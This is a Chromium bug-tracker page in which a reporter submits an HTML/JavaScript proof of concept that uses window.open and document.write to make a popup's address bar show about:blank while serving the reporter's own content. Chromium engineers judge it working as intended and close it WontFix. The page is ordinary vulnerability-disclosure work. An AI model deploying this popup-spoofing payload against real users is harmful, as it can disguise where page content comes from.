New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 634080 link

Starred by 2 users

Issue metadata

Status: WontFix
Owner:
Last visit > 30 days ago
Closed: Aug 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux
Pri: 2
Type: Bug-Security



Sign in to add a comment

Address bar changes to about:blank after document.write

Reported by miguelan...@gmail.com, Aug 3 2016

Issue description

UserAgent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0

Steps to reproduce the problem:
1. Open this location http://52.58.42.227/poc_11b.html or a page on your computer that contains this code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
	<head><title>address bar hidding</title>
		<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
	</head>
<li>Please click the button to run the proof of concept. <button id="one" target="_self">Demo</button></li>

		<script type="text/javascript">
			window.onclick = function() {
				myWindow=window.open('http://underc0de.org/','Underc0de','width=1500,height=1000,location=yes', '_self');
				myWindow.document.write("<html><head></head><body><b>This page is still being hosted on my server (52.58.42.227), but the address bar is pointing to other domain (in this case, no domain is shown).</b><br><br><iframe src=\"http://underc0de.org/\");></iframe></scri+pt></body></html>");
				myWindow.focus();
			  return false;
			}

	</script>
	<body><h1>address bar hidding</h1>
<!--	        <li>Please click the button to run the proof of concept. <button id="one">Demo</button></li> -->
<!--	<script>one.click()</script> -->
	</body>
</html>

2. Click in any place of the page 
3. See now that the address bar contains "about:blank" instead of the current location 

What is the expected behavior?
Address Bar showing real location

What went wrong?
Address Bar updating or action of retrieve the current location

Did this work before? N/A 

Chrome version: 52.0.2743.82 (Build oficial) (64 bits)  Channel: n/a
OS Version: Ubuntu 16.06
Flash Version: 22.0.0.209

I've attached a tar.gz file which contains three images that could help to explain the issue.
 
address-bar-hidding.tar.gz
214 KB Download
Thanks for the report, however I don't think there is a vulnerability here. about:blank URLs can indeed be controlled by their opener (unfortunate legacy feature of the web).

That said, there seems to be two other bugs here:
- document.write on a popup window that's being loaded causes the URL to change to about:blank. (this might be working as intended, as the popup would start with about:blank and not have a chance to navigate to the other URL before document.write is called)
- Clicking the page icon in the popup doesn't seem to open the page info bubble. This might be a variant of  bug 547982 .


Cc: creis@chromium.org mea...@chromium.org
Components: Blink>WindowDialog
Owner: dominicc@chromium.org
Status: Assigned (was: Unconfirmed)
Summary: Address bar changes to about:blank after document.write (was: Address Bar Hidding)
meacer: the second part of the bug does seem very similar to  bug 547982 , so I'll leave that out. It does seem confusing that the URL changes to about:blank after calling document.write. My guess is that this is WAI though.

Consider opening a window, navigating it to a cross-origin (e.g. google.com) and then being able to modify the contents with whatever you want without the origin changing.

dominicc/creis: could you confirm the above guess?
Labels: Security_Severity-Low Security_Impact-Stable

Comment 4 by creis@chromium.org, Aug 4 2016

Components: UI>Browser>Navigation
This is indeed working as intended.  It was the behavior we added in  issue 9682  to allow us to show the pending URL when there's no possible attacker content visible below it.  As soon as something accesses the initial blank document, we revert to showing the last committed URL, which is about:blank in the new window.

I don't see a security issue here.
 Issue 634705  has been merged into this issue.
Labels: -Restrict-View-SecurityTeam
Status: WontFix (was: Assigned)
Closing the bug since this is working as intended.

Sign in to add a comment